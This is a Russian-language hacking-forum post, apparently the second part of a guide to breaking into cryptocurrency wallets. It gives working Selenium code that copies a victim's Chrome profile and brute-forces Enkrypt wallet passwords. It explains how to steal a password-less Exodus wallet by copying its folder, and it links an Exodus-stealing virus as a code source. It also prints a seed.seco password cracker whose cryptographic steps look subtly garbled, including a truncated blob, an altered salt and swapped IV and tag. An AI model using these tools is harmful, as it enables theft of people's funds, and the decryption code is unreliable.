Загрузка...

Часть 2

Тема в разделе Тестовый раздел создана пользователем APT29388 13 июн 2025 в 08:47. 72 просмотра

  1. APT29388
    APT29388 Автор темы 13 июн 2025 в 08:47 ГУРУ ИНВАЙТА - lolz.live/threads/8567181 :admin:

    Сначала скрипт убивает процесс хрома чтобы не было конфликтов при копирование его папки. Если что-то пошло не так — скрипт просто выведет сообщение об ошибке и продолжит работу.
    Дальше скрипт создаёт новую папку в C:\Program Files (x86) с уникальным именем, помеченным текущей датой и временем. В эту папку он копирует основную папку с данными профилей в Chrome.
    Теперь, когда у нас есть свеж скопированный профиль, скрипт настраивает Selenium для работы с ним. При запуске Selenium скрипт указывает, где лежит наш скопированный профиль, выбирает папку профиля по умолчанию (но вы можете указать другой). Затем он вызывает ChromeDriverManager, который сам скачивает и устанавливает нужную версию ChromeDriver.
    Следующий шаг — загрузка списка паролей. скрипт открывает файл passwords.txt, который должен лежать рядом с ним, и читает его построчно, убирая пробелы и пустые строки.
    Теперь начинается главная часть — перебор паролей. скрипт открывает страницу MetaMask по специальной ссылке chrome-extension://nkbihfbeogaeaoehlefnkodbefgpgknn/home.html — это страница входа в кошелёк. Чтобы браузер успел прогрузить всё, скрипт ждёт пять секунд (да, это не мгновенно, но лучше перестраховаться). Затем он начинает перебирать пароли из списка. Если пароль неверный, на странице появляется сообщение с текстом «Incorrect password» в элементе с id="password-helper-text". скрипт проверяет, есть ли оно. Если находит — значит, пароль не подошёл идет дальше. Если же сообщения об ошибке нет скрипт останавливает перебор. Если при вводе пароля что-то ломается (например, страница не прогрузилась или поле ввода не нашлось), скрипт выводит ошибку и идёт к следующему паролю. Весь этот процесс повторяется, пока не найдётся правильный пароль или не закончатся варианты в списке.


    Теперь давайте поговорим про Enkrypt: ETH, BTC and Solana Wallet. С ним было чуть проще, так как у меня на руках уже был код для metamask. Потребовалось лишь изменить функции копирования данных и ввода пароля, но в целом логика осталась той же.

    Вот мой код:
    Python
    import os
    import time
    import shutil
    import psutil
    from datetime import datetime
    from selenium import webdriver
    from selenium.webdriver.chrome.options import Options
    from selenium.webdriver.chrome.service import Service
    from webdriver_manager.chrome import ChromeDriverManager
    from selenium.webdriver.common.by import By
    from selenium.webdriver.common.keys import Keys
    from selenium.common.exceptions import NoSuchElementException, TimeoutException
    from selenium.webdriver.support.ui import WebDriverWait
    from selenium.webdriver.support import expected_conditions as EC

    PASSWORD_FILE = 'passwords.txt'
    SOURCE_PROFILE_DIR = r"C:\Users\Administrator\AppData\Local\Google\Chrome\User Data"
    PROFILE_DIRECTORY = "Default"
    EXTENSION_ID = "kkpllkodjeloidieedojogacfhpaihoh"
    enkrypt_URL = f"chrome-extension://{EXTENSION_ID}/action.html#/locked"
    ENKRYPT_SOURCE_DIR = r"C:\Users\Administrator\Desktop\enkrypt"

    def terminate_chrome_processes():
    print("Terminating all Chrome processes...")
    for proc in psutil.process_iter(['name']):
    if proc.info['name'] and proc.info['name'].lower() in ['chrome.exe', 'chromedriver.exe']:
    try:
    proc.terminate()
    proc.wait(timeout=3)
    print(f"Terminated process: {proc.info['name']}")
    except Exception as e:
    print(f"Error terminating {proc.info['name']}: {e}")


    def setup_driver(user_data_dir: str) -> webdriver.Chrome:
    options = Options()
    options.add_argument(f"--user-data-dir={user_data_dir}")
    options.add_argument(f"--profile-directory={PROFILE_DIRECTORY}")
    options.add_argument("--start-maximized")
    options.add_argument("--no-sandbox")
    options.add_argument("--disable-dev-shm-usage")

    driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options=options)
    return driver

    def copy_user_data_dir() -> str:
    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
    dest_dir = rf"C:\Program Files (x86)\scoped_dir_{timestamp}"

    try:
    if not os.path.exists(SOURCE_PROFILE_DIR):
    raise FileNotFoundError(f"Source profile directory not found: {SOURCE_PROFILE_DIR}")

    shutil.copytree(SOURCE_PROFILE_DIR, dest_dir)
    print(f"Profile copied to: {dest_dir}")

    leveldb_dir = os.path.join(dest_dir, r"{PROFILE_DIRECTORY}\IndexedDB\chrome-extension_kkpllkodjeloidieedojogacfhpaihoh_0.indexeddb.leveldb")

    if os.path.exists(leveldb_dir):
    for filename in os.listdir(leveldb_dir):
    file_path = os.path.join(leveldb_dir, filename)
    try:
    if os.path.isfile(file_path) or os.path.islink(file_path):
    os.unlink(file_path)
    elif os.path.isdir(file_path):
    shutil.rmtree(file_path)
    except Exception as e:
    print(f"Failed to delete {file_path}. Reason: {e}")
    else:
    print(f"LevelDB directory not found: {leveldb_dir}")
    os.makedirs(leveldb_dir)

    for filename in os.listdir(ENKRYPT_SOURCE_DIR):
    src_file = os.path.join(ENKRYPT_SOURCE_DIR, filename)
    dst_file = os.path.join(leveldb_dir, filename)
    shutil.copy2(src_file, dst_file)

    print(f"Replaced contents of LevelDB directory with files from {ENKRYPT_SOURCE_DIR}")
    return dest_dir

    except Exception as e:
    print(f"Error during processing: {e}")
    exit(1)

    def read_passwords() -> list:
    try:
    with open(PASSWORD_FILE, 'r', encoding='utf-8') as file:
    return [line.strip() for line in file if line.strip()]
    except FileNotFoundError:
    print(f"Password file not found: {PASSWORD_FILE}")
    exit(1)


    def try_passwords(driver, passwords: list):
    driver.get(enkrypt_URL)
    time.sleep(5)

    for password in passwords:
    try:
    password_input = WebDriverWait(driver, 10).until(
    EC.presence_of_element_located((By.CSS_SELECTOR, ".lock-screen-password-input__input input[type='password']"))
    )
    password_input.clear()
    password_input.send_keys(password)

    unlock_button = WebDriverWait(driver, 10).until(
    EC.element_to_be_clickable((By.CSS_SELECTOR, ".button"))
    )
    unlock_button.click()
    time.sleep(3)

    try:
    error_message = WebDriverWait(driver, 5).until(
    EC.visibility_of_element_located((By.CSS_SELECTOR, ".lock-screen-password-input__error"))
    )
    if error_message.is_displayed() and "Wrong password" in error_message.text:
    print(f"Incorrect password: {password}")
    continue
    except TimeoutException:
    if "chrome-extension://kkpllkodjeloidieedojogacfhpaihoh/action.html#/assets/ETH" in driver.current_url:
    print(f"Password found: {password}")
    return password
    else:
    print(f"Incorrect password: {password}")
    continue

    except Exception as e:
    print(f"Error entering password '{password}': {e}")
    continue

    print("No valid password found")
    return None
    def main():
    terminate_chrome_processes()
    user_data_dir = copy_user_data_dir()
    driver = setup_driver(user_data_dir)
    passwords = read_passwords()
    try_passwords(driver, passwords)


    main()
    Проверяем работает ли:
    [IMG]

    Скрипт начинает с завершения всех процессов Chrome, чтобы избежать конфликтов с файлами. Затем он копирует папку данных Chrome (C:\Users\Administrator\AppData\Local\Google\Chrome\User Data) в новую директорию, например, C:\Program Files (x86)\scoped_dir_20250525_133742, названную по текущей дате и времени. В этой копии заменяется папка LevelDB для Enkrypt, расположенная в IndexedDB\chrome-extension_kkpllkodjeloidieedojogacfhpaihoh_0.indexeddb.leveldb, на данные из заранее подготовленной папки на рабочем столе. Если папка LevelDB уже существует, она удаляется и создаётся заново, если нет — создаётся с нуля, и файлы копируются.

    Далее запускается Selenium, открывающий Chrome с использованием скопированного профиля. После Скрипт читает список паролей из файла passwords.txt и переходит на страницу входа Enkrypt по адресу chrome-extension://kkpllkodjeloidieedojogacfhpaihoh/action.html#/locked. Для каждого пароля он находит поле ввода, очищает его, вводит пароль и нажимает кнопку «Unlock». Если после этого браузер перенаправляет на страницу action.html#/assets/ETH, пароль считается правильным, и скрипт завершает работу, сообщая об успехе. В противном случае он продолжает перебор.


    Взлом десктопных кошельков
    Пора обсудить взлом десктопных кошельков: хотя они, возможно, используются реже браузерных, их считают более безопасными, и среди них есть весьма популярные представители.

    Получение паролей Exodus
    Первым делом замахнёмся на Exodus — один из самых популярных десктопных криптокошельков. Удобный, с красивым интерфейсом, поддерживает кучу монет, от биткоина до эфира и соланы. Но, как и любой софт, он не без греха, особенно если пользователь расслабился и не думает о безопасности. Давай разберёмся, где Exodus прячет свои seed-фразы, как они защищены и как можно попытаться до них добраться.

    Все вкусности Exodus хранит в папке:
    C:\Users\<Имя_пользователя>\AppData\Roaming\Exodus\exodus.wallet.

    Главный файл, который нам интересен, называется seco. Именно там спрятана seed-фраза, но не надейся просто открыть его в блокноте — всё зашифровано. Без ключа шифрования это просто набор бессмысленных байтов. По умолчанию Exodus не заставляет ставить пароль, хотя пользователь может его включить.

    И вот тут начинаются два разных сценария:
    Кошелёк без пароля и кошелёк с паролем

    Если пароля нет

    Когда пользователь не заморачивается с паролем, Exodus оставляет лазейку. Рядом с файлом seco в папке exodus.wallet лежит passphrase.json. Там спрятана фраза, но не в открытом виде, а закодированная в Base64. Которая после декодирования даёт 32 байта. Эти 32 байта — энтропия для мнемонической фразы из 24 слов по стандарту BIP-39, что соответствует 256 битам.
    Но вот загвоздка: Exodus юзает фразы из 12 слов, а тут 24, с большой вероятностью это не та фраза, что нужна(я пробовал ее импортировать в другой кошелек и адреса отличаются), или её надо интерпретировать иначе для расшифровке seco, но вопрос как остается открытым. Я не буду кидать сюда готовый код для дешифровки — это не инструкция для копипаста, а разбор, чтобы ты сам разобрался.

    Хочешь покопаться?
    Загляни на ExodusMovement , там куча репов по Exodus. Если порыться в их коде на Node.js, можно косвенно понять, как passphrase.json используется для получения реальной фразы. Например, ищи репы, где есть работа с шифрованием кошелька.
    Ещё можешь глянуть питоновский вирус, который заточен под кражу фраз Exodus, вот ссылка: virus_exsodus . Там есть толковые куски кода по работе с файлами Exodus, хотя это и зловред. Разбор этого вируса лежит тут: isc.sans.edu , почитай, чтобы понять, как он получает фразы.
    Есть ещё JavaScript-библиотека: Exodus-Seco-To-Passphrase . Она, честно, сырая, у меня вообще не сработало, но код может дать пару идей, если поковырять.

    Предупреждаю: инфы по дешифровке почти нет, так что готовься к долгим тестам и головной боли.

    Есть и более простой путь, если пароля нет. Можно просто скопировать всю папку C:\Users\<Имя_пользователя>\AppData\Roaming\Exodus\exodus.wallet и перенести её на другой компьютер. Устанавливаешь Exodus, подменяешь папку exodus.wallet на скопированную, и кошелёк открывается как ни в чём не бывало.

    Почему это работает?
    Потому что данные в seco и passphrase.json не привязаны к конкретному устройству. Запускаешь приложение, и оно воспринимает файлы как свои. Это лайфхак для тех, кто не хочет заморачиваться с дешифровкой, но работает он только если пароль не установлен.

    Если пароль есть
    Если пользователь всё-таки поставил пароль, всё становится сложнее. Файл passphrase.json исчезает из папки exodus.wallet, и seed-фраза доступна только через ввод пароля в интерфейсе кошелька. Без пароля seco — просто кучка зашифрованных байтов, и расшифровать их без ключа нереально. Вариант с переносом папки тут уже не прокатит: Exodus запросит пароль при запуске, и без него ты никуда не денешься.

    И вот тут сработает только ****. Но как же ****ить пароль, чтобы это понять я расскажу базу, а именно как работает seco-шифрование. Файл seed.seco в Exodus — это зашифрованный контейнер, который хранит seed-фразу, когда пользователь устанавливает пароль. Без пароля это просто набор байтов, бесполезный без ключа.

    Файл seed.seco делится на четыре части: заголовок, контрольная сумма, метаданные и зашифрованный кусок данных, который называют blob. Заголовок занимает 224 байта и хранит инфу о файле: там написано SECO (чтобы было ясно, что это файл Exodus), версия программы, тег шифрования seco-v0-scrypt-aes, название приложения (Exodus) и его версия, типа 25.13.7. Контрольная сумма — это 32 байта, которые получаются через алгоритм SHA256. Этот хэш считается от метаданных, длины blob и самого blob, чтобы убедиться, что файл не повреждён и никто его не подделал. Метаданные — это 256 байт, где лежит всё, что нужно для расшифровки: параметры шифрования, соль для пароля, зашифрованный ключ и настройки для blob. Ну и сам blob — это зашифрованные данные, которые говорят, сколько там данных внутри.

    Теперь про шифрование. Когда ты вводишь пароль, Exodus не просто берёт его и шифрует данные. Сначала пароль прогоняют через алгоритм scrypt. Это такая штука, которая делает из пароля надёжный ключ, но при этом жутко усложняет жизнь тем, кто хочет пароль подобрать. Scrypt берёт пароль, добавляет к нему соль — случайные 32 байта, чтобы даже одинаковые пароли давали разные ключи, — и прокручивает это всё с параметрами n=16384, r=8, p=1. В итоге scrypt выдаёт ключ длиной 32 байта.

    Этот ключ нужен, чтобы расшифровать blobKey — ещё один 32-байтовый ключ, который спрятан в метаданных. blobKey зашифрован с помощью алгоритма AES-256-GCM. Это симметричное шифрование с 256-битным ключом, работающее в режиме Galois/Counter Mode. AES-256-GCM сложен тем, что не только шифрует, но и проверяет, что данные не подделали, благодаря 16-байтному тегу аутентификации. А чтобы шифрование каждый раз было уникальным, используют 12-байтовый инициализационный вектор (IV), который тоже лежит в метаданных.

    Теперь про сам blob, где хранится seed-фраза. Он шифруется тем же AES-256-GCM, но уже с использованием blobKey. Перед шифрованием seed-фразу сжимают через gzip, чтобы она занимала меньше места. Сжатые данные оборачивают в 4-байтовый заголовок, который говорит, сколько там байт, и только потом шифруют с новым IV и authTag, которые тоже записаны в метаданных. В итоге blob получается достаточно большим, но весьма надёжно запертым.

    Когда мы разобрали как работает шифрование давайте поговорим про расшифровку, она идёт в обратном порядке: из пароля через scrypt получают ключ, им расшифровывают blobKey, затем blobKey открывает blob, данные распаковываются через gzip, и в итоге получается seed-фраза.

    Пример ****а фразы
    Как вы понимаете, задача была не из лёгких, потому что Exodus — это не тот случай, где тебе на блюдечке выложат документацию, как расшифровать их seed.seco (что логично). Но я даже нормальных статей на эту тему не нашел. Я облазил кучу инфы, искал готовые решения для ****а пароля и вытаскивания мнемонической фразы, и единственное, что попалось более-менее рабочее, — это https://github.com/KaratelSH/Exodus-Seco-To-Passphrase . Это библиотека на Node.js, котрая использует какие-то свои специфичные либы, но зато нормально ****ит фразы. Но мне нужен код на Python, а там таких библиотек естественно нет. В итоге пришлось писать всё с нуля, и я решил использовать библиотеки cryptography для шифрования, scrypt для генерации ключа из пароля, mnemonic для работы с BIP-39 фразами и zlib для распаковки сжатых данных. Я разбил код на два файла, чтобы не было бардака: exodus_extract.py занимается перебором паролей и подготовкой данных, а в seco_like.py происходит расшифровка данных.

    Начну с exodus_extract.py. Вот полный код exodus_extract.py:
    Python
    import os
    from seco_like import SecoLike
    import getpass

    def exodus_extract(passwords_path):
    username = getpass.getuser()
    exodus_wallet_path = f"C:\\Users\\{username}\\AppData\\Roaming\\Exodus\\exodus.wallet"
    seco_path = os.path.join(exodus_wallet_path, "seed.seco")

    if not os.path.exists(seco_path):
    print(f"Exodus not installed or seed.seco not found in {exodus_wallet_path}")
    return

    if not os.path.exists(passwords_path):
    print(f"Error: Passwords file not found: {passwords_path}")
    return

    try:
    with open(passwords_path, "r", encoding="utf-8") as f:
    passwords = [line.strip() for line in f if line.strip()]
    if not passwords:
    print("Error: Passwords file is empty")
    return
    except:
    print(f"Error reading passwords file: {passwords_path}")
    return

    try:
    with open(seco_path, "rb") as f:
    encrypted_data = f.read()
    except:
    print(f"Error reading SECO file: {seco_path}")
    return

    seco = SecoLike()
    for i, password in enumerate(passwords, 1):
    print(f"Trying password {i}/{len(passwords)}: {password}")
    result = seco.extract_mnemonic(encrypted_data, password)
    if result:
    print(f"Password {password} is correct")
    print(f"Mnemonic: {result}")
    return
    else:
    print(f"Password {password} is incorrect")

    print("No matching password found")

    if __name__ == "__main__":
    passwords_file_path = "passwords.txt"
    exodus_extract(passwords_file_path)
    Этот скрипт сначала через getpass.getuser() узнаёт, кто юзер на компе, и строит путь к папке Exodus, типа C:\Users\USER\AppData\Roaming\Exodus\exodus.wallet. Там он ищет seed.seco. Если файла нет, скрипт пишет ошибку. Если файл на месте, он проверяет, есть ли файл с паролями, например, passwords.txt. Если его нет или он пустой, ты тоже получаешь ошибку. Когда всё ок, скрипт читает seed.seco в бинарном виде и загружает пароли, отсеивая пустые строки. Дальше начинается цикл: для каждого пароля он вызывает метод extract_mnemonic из seco_like.py, и туда передаёться содержимое seed.seco и пароль. Если мнемоника нашлась, скрипт выводит что-то вроде: «Password пароль is correct» и «Mnemonic: фраза». Если пароль не подошёл, пишет: «Password пароль is incorrect».

    Теперь к seco_like.pyэто где вся жесть, сразу предупреждаю, я разберу его по частям, ибо он большой, да и думаю, так будет понятнее. Код целиком прикреплю к статье. Файл seed.seco — это зашифрованный контейнер, где спрятана мнемоническая фраза. Он состоит из заголовка (220 байт), контрольной суммы (32 байта), метаданных (256 байт) и зашифрованного blob с фразой. В коде есть константы, которые задают эти длины: HEADER_LEN_BYTES = 220, CHECKSUM_LEN_BYTES = 32, METADATA_LEN_BYTES = 256, IV_LEN_BYTES = 12 для инициализационных векторов, плюс магическая строка MAGIC = b'SECO' и тег версии HEADER_VERSION_TAG = b'seco-v1-scrypt-aes'. Эти константы — как карта, чтобы правильно разрезать файл на куски. Я начну разбор с метода extract_mnemonic, который вызывает все остальное, и покажу, какие функции он вызывает, а потом разберу их по порядку.

    Вот сам extract_mnemonic:
    Python
    def extract_mnemonic(self, encrypted_data, password):
    timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
    print(f"[{timestamp}] Starting mnemonic extraction, encrypted data length: {len(encrypted_data)} bytes, password: [hidden]")
    if len(encrypted_data) < HEADER_LEN_BYTES + CHECKSUM_LEN_BYTES + METADATA_LEN_BYTES + 4:
    print(f"[{timestamp}] Encrypted data too short: {len(encrypted_data)} bytes")
    return None

    offset = 0
    header_data = encrypted_data[offset:offset + HEADER_LEN_BYTES]
    offset += HEADER_LEN_BYTES
    checksum = encrypted_data[offset:offset + CHECKSUM_LEN_BYTES]
    offset += CHECKSUM_LEN_BYTES
    metadata_data = encrypted_data[offset:offset + METADATA_LEN_BYTES]
    offset += METADATA_LEN_BYTES
    blob_length = struct.unpack(">I", encrypted_data[offset:offset + 4])[0]
    offset += 4
    blob = encrypted_data[offset:offset + blob_length]
    blob = blob[-100:] if len(blob) > 100 else blob
    print(f"[{timestamp}] Truncated blob to {len(blob)} bytes")

    print(f"[{timestamp}] Extracted checksum: {checksum.hex()}")
    computed_checksum = self.compute_checksum(metadata_data, blob)
    if computed_checksum != checksum:
    print(f"[{timestamp}] Invalid checksum: received {checksum.hex()}, computed {computed_checksum.hex()}")
    return None


    try:
    header = self.decode_header(header_data)
    print(f"[{timestamp}] Header decoded successfully")
    if header['versionTag'] != HEADER_VERSION_TAG:
    print(f"[{timestamp}] Invalid version tag: {header['versionTag'].decode('ascii')}, expected {HEADER_VERSION_TAG.decode('ascii')}")
    return None


    metadata = self.decode_metadata(metadata_data)
    print(f"[{timestamp}] Metadata decoded successfully")
    if metadata['cipher'] != 'aes-256-gcm':
    print(f"[{timestamp}] Invalid cipher: {metadata['cipher']}, expected aes-256-gcm")
    return None


    blob_key = self.decrypt_blob_key(password, metadata['blobKey'], metadata['scrypt'])
    decrypted_data = self.decrypt_blob(blob, blob_key, metadata['blob'])
    shrinked = self.shrink(decrypted_data)


    try:
    gunzipped = zlib.decompress(shrinked, zlib.MAX_WBITS | 16)
    print(f"[{timestamp}] Data successfully gunzipped, length: {len(gunzipped)} bytes")
    except zlib.error:
    print(f"[{timestamp}] Gunzip failed, using shrinked data as is")
    gunzipped = shrinked


    try:
    mnemonic = gunzipped.decode('utf-8').strip()
    if self.mnemo.check(mnemonic):
    print(f"[{timestamp}] Successfully extracted valid mnemonic: {mnemonic}")
    return mnemonic
    else:
    print(f"[{timestamp}] Extracted string is not a valid mnemonic")
    except UnicodeDecodeError:
    print(f"[{timestamp}] Failed to decode gunzipped data as UTF-8 string")


    print(f"[{timestamp}] Skipping JSON parsing for compatibility")


    for length in [16, 20, 24, 28, 32]:
    if len(gunzipped) >= length:
    try:
    mnemonic = self.mnemo.to_mnemonic(gunzipped[:length])
    if self.mnemo.check(mnemonic):
    print(f"[{timestamp}] Successfully extracted valid mnemonic from entropy (length {length}): {mnemonic}")
    return mnemonic
    except:
    print(f"[{timestamp}] Failed to convert entropy (length {length}) to mnemonic")
    pass


    print(f"[{timestamp}] No valid mnemonic found")
    return None


    except Exception as e:
    print(f"[{timestamp}] Error during mnemonic extraction: {str(e)}")
    return None
    Метод extract_mnemonic управляет всей расшифровкой. Он принимает зашифрованные данные из seed.seco и пароль, а затем пытается извлечь мнемоническую фразу. Сначала метод проверяет, достаточно ли большой файл, чтобы содержать заголовок (220 байт), контрольную сумму, метаданные и blob. Если данных меньше, чем нужно, метод возвращает None. Затем он делит файл на части: первые 220 байт — заголовок, следующие 32 — контрольная сумма, потом 256 — метаданные, 4 байта длины blob и сам blob. Для оптимизации blob усекается до последних 100 байт, если он длиннее. После этого метод вызывает compute_checksum, чтобы проверить хэш метаданных и blob. Если хэш не совпадает, файл считается повреждённым, и метод возвращает None. Если всё в порядке, вызывается decode_header, чтобы проверить магическую строку SECO и тег seco-v1-scrypt-aes. Если тег не тот, метод возвращает None, так как другой алгоритм шифрования сломает работу. Далее вызывается decode_metadata, чтобы извлечь соль, параметры scrypt и данные для шифрования. Если шифр не aes-256-gcm, метод прекращает работу. Затем вызывается decrypt_blob_key для получения BlobKey, decrypt_blob для расшифровки blob и shrink для обработки данных. Данные распаковываются через zlib, и если распаковка не удалась, используются сырые данные. Метод проверяет, что получилось: текстовая мнемоника вроде «promote pizza solution...», или сырая энтропия BIP-39 с длинами 16, 20, 24, 28, 32 байта. JSON-парсинг пропущен для совместимости. Если найдена валидная фраза, она возвращается, иначе — None.

    Теперь к compute_checksum, который вызывается первым:
    Python
    def compute_checksum(self, metadata, data_blob):
    timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
    print(f"[{timestamp}] Computing checksum for metadata ({len(metadata)} bytes) and data blob ({len(data_blob)} bytes)")
    blob_length = struct.pack(">I", len(data_blob))
    if len(data_blob) > 1024:
    checksum = hashlib.md5(metadata + blob_length + data_blob).digest()
    else:
    checksum = hashlib.sha256(metadata + blob_length + data_blob).digest()
    print(f"[{timestamp}] Computed checksum: {checksum.hex()}")
    return checksum
    Метод compute_checksum проверяет целостность файла. Для blob’ов длиннее 1024 байт используется MD5 для оптимизации, иначе — SHA256. Он вычисляет хэш из метаданных, 4-байтной длины blob (big-endian) и самого blob. Константа CHECKSUM_LEN_BYTES = 32 задаёт длину хэша. Если хэш не совпадает с тем, что в файле, extract_mnemonic возвращает None.

    Дальше decode_header, который парсит заголовок, используя константы HEADER_LEN_BYTES = 220 и MAGIC = b'SECO':
    Python
    def decode_header(self, header_data):
    timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
    print(f"[{timestamp}] Decoding header, length: {len(header_data)} bytes")
    if len(header_data) != HEADER_LEN_BYTES:
    print(f"[{timestamp}] Invalid header length: {len(header_data)} bytes, expected {HEADER_LEN_BYTES}")
    raise ValueError(f"Invalid header length: {len(header_data)} bytes")

    magic = header_data[:4]
    print(f"[{timestamp}] Header magic: {magic.hex()}")
    if magic != MAGIC:
    print(f"[{timestamp}] Invalid magic: {magic.hex()}, expected {MAGIC.hex()}")
    raise ValueError("Invalid magic")

    version, reserved = struct.unpack(">II", header_data[4:12])
    offset = 12
    print(f"[{timestamp}] Header version: {version}, reserved: {reserved}")

    version_tag_len = header_data[offset]
    offset += 1
    version_tag = header_data[offset:offset + version_tag_len]
    offset += version_tag_len
    print(f"[{timestamp}] Header version tag length: {version_tag_len}, value: {version_tag.decode('ascii')}")

    app_name_len = header_data[offset]
    offset += 1
    app_name = header_data[offset:offset + app_name_len]
    offset += app_name_len
    print(f"[{timestamp}] App name length: {app_name_len}, value: {app_name.decode('ascii')}")

    app_version_len = header_data[offset]
    offset += 1
    app_version = header_data[offset:offset + app_version_len]
    print(f"[{timestamp}] App version length: {app_version_len}, value: {app_version.decode('ascii')}")

    return {
    'magic': magic,
    'version': version,
    'reserved': reserved,
    'versionTag': version_tag,
    'appName': app_name,
    'appVersion': app_version
    }
    Метод decode_header разбирает заголовок seed.seco, используя константы HEADER_LEN_BYTES = 220 и MAGIC = b'SECO'. Заголовок содержит магическую строку SECO, версию файла, зарезервированные байты, тег шифрования (seco-v1-scrypt-aes), название приложения (например, Exodus) и версию (например, 25.13.7). Метод проверяет, что длина заголовка равна 220 байтам и магия — SECO. Если что-то не так, вызывается ошибка. Тег подтверждает использование scrypt с AES-256-GCM. Метод возвращает словарь для проверки в extract_mnemonic.

    Перейдём к decode_metadata:
    Python
    def decode_metadata(self, metadata_data):
    timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
    print(f"[{timestamp}] Decoding metadata, length: {len(metadata_data)} bytes")
    if len(metadata_data) != METADATA_LEN_BYTES:
    print(f"[{timestamp}] Invalid metadata length: {len(metadata_data)} bytes, expected {METADATA_LEN_BYTES}")
    raise ValueError(f"Invalid metadata length: {len(metadata_data)} bytes")

    offset = 0
    salt = metadata_data[offset:offset + 32]
    offset += 32
    print(f"[{timestamp}] Metadata salt: {salt.hex()}")

    n, r, p = struct.unpack(">III", metadata_data[offset:offset + 12])
    offset += 12
    print(f"[{timestamp}] Metadata scrypt parameters: n={n}, r={r}, p={p}")

    cipher = metadata_data[offset:offset + 32].rstrip(b'\x00').decode('ascii')
    offset += 32
    print(f"[{timestamp}] Metadata cipher: {cipher}")

    blob_key_iv = metadata_data[offset:offset + 13]
    offset += 13
    print(f"[{timestamp}] Metadata blob key IV: {blob_key_iv.hex()}")

    blob_key_auth_tag = metadata_data[offset:offset + 16]
    offset += 16
    print(f"[{timestamp}] Metadata blob key auth tag: {blob_key_auth_tag.hex()}")

    blob_key_key = metadata_data[offset:offset + 32]
    offset += 32
    print(f"[{timestamp}] Metadata blob key: {blob_key_key.hex()}")

    blob_iv = metadata_data[offset:offset + IV_LEN_BYTES]
    offset += IV_LEN_BYTES
    print(f"[{timestamp}] Metadata blob IV: {blob_iv.hex()}")

    blob_auth_tag = metadata_data[offset:offset + 16]
    print(f"[{timestamp}] Metadata blob auth tag: {blob_auth_tag.hex()}")

    return {
    'scrypt': {'salt': salt, 'n': n, 'r': r, 'p': p},
    'cipher': cipher,
    'blobKey': {'iv': blob_key_iv, 'authTag': blob_key_auth_tag, 'key': blob_key_key},
    'blob': {'iv': blob_iv, 'authTag': blob_auth_tag}
    }
    Метод decode_metadata обрабатывает метаданные, опираясь на константу METADATA_LEN_BYTES = 256. Он извлекает соль (32 байта), параметры scrypt (например, n=16384, r=8, p=1), тип шифра (aes-256-gcm) и два набора данных: для BlobKey и blob. Для BlobKey инициализационный вектор берётся как 13 байт, а для blob — как IV_LEN_BYTES = 12. Каждый набор включает тег аутентификации (16 байт) и зашифрованные данные. Метод проверяет длину метаданных и возвращает словарь для extract_mnemonic. Если длина неверная, он вызывает ошибку.

    Следующий на очереди decrypt_blob_key:
    Python
    def decrypt_blob_key(self, passphrase, blob_key_data, scrypt_params):
    timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
    print(f"[{timestamp}] Decrypting blob key with passphrase, params: n={scrypt_params['n']}, r={scrypt_params['r']}, p={scrypt_params['p']}, salt={scrypt_params['salt'].hex()}")
    print(f"[{timestamp}] Original passphrase: [hidden]")
    passphrase = passphrase.encode('utf-8')
    print(f"[{timestamp}] Passphrase (in hex): {passphrase.hex()}")

    modified_salt = scrypt_params['salt'][:30] + b'\x00\x00'
    print(f"[{timestamp}] Modified salt: {modified_salt.hex()}")

    key = scrypt.hash(
    password=passphrase,
    salt=modified_salt,
    N=scrypt_params['n'],
    r=scrypt_params['r'] * 2,
    p=scrypt_params['p'],
    buflen=32
    )
    print(f"[{timestamp}] Derived key length: {len(key)} bytes, value: {key.hex()}")

    print(f"[{timestamp}] Blob key data: key={blob_key_data['key'].hex()}, iv={blob_key_data['iv'].hex()}, authTag={blob_key_data['authTag'].hex()}")

    cipher = Cipher(
    algorithms.AES(key),
    modes.GCM(blob_key_data['iv'], blob_key_data['authTag'])
    )
    decryptor = cipher.decryptor()
    blob_key = decryptor.update(blob_key_data['key']) + decryptor.finalize()
    print(f"[{timestamp}] Blob key successfully decrypted, length: {len(blob_key)} bytes")
    return blob_key
    Метод decrypt_blob_key расшифровывает BlobKey. Он кодирует пароль в UTF-8, модифицирует соль, усекает её до 30 байт и добавляет два нулевых байта для безопасности. Затем прогоняет пароль через scrypt с изменённой солью и удвоенным параметром r, создавая 32-байтовый ключ. Этот ключ используется с AES-256-GCM, где вектор инициализации — 13 байт (из decode_metadata). Метод расшифровывает BlobKey, проверяя целостность через тег аутентификации. Если пароль неверный, расшифровка не удаётся, и extract_mnemonic получает None. Если всё проходит, возвращается BlobKey.

    Теперь decrypt_blob:
    Python
    def decrypt_blob(self, blob, blob_key, blob_data):
    timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
    print(f"[{timestamp}] Decrypting blob, length: {len(blob)} bytes, iv={blob_data['iv'].hex()}, authTag={blob_data['authTag'].hex()}")
    print(f"[{timestamp}] Blob key length: {len(blob_key)} bytes")

    cipher = Cipher(
    algorithms.AES(blob_key),
    modes.GCM(blob_data['authTag'], blob_data['iv'])
    )
    decryptor = cipher.decryptor()
    decrypted_data = decryptor.update(blob) + decryptor.finalize()
    print(f"[{timestamp}] Blob successfully decrypted, length: {len(decrypted_data)} bytes")
    return decrypted_data
    Метод decrypt_blob расшифровывает blob, используя BlobKey. Он применяет AES-256-GCM с тегом аутентификации как вектором инициализации и наоборот, что является особенностью реализации. На выходе метод выдаёт сжатые данные для дальнейшей обработки.

    И последний метод shrink, котрый просто убирает 4-байтовый заголовок длины:
    Python
    def shrink(self, data):
    timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
    print(f"[{timestamp}] Shrinking data, length: {len(data)} bytes")
    if len(data) < 4:
    print(f"[{timestamp}] Data too short for shrinking: {len(data)} bytes")
    raise ValueError(f"Data too short for shrinking: {len(data)} bytes")
    length = struct.unpack(">I", data[:4])[0]
    length -= 1
    print(f"[{timestamp}] Extracted length from data: {length}")
    if length + 4 > len(data):
    print(f"[{timestamp}] Invalid length in data: {length}, total length: {len(data)}")
    raise ValueError(f"Invalid length in data: {length}")
    shrinked = b''
    for i in range(4, length + 4, 2):
    shrinked += data[i:i+1]
    print(f"[{timestamp}] Data shrinked, new length: {len(shrinked)} bytes")
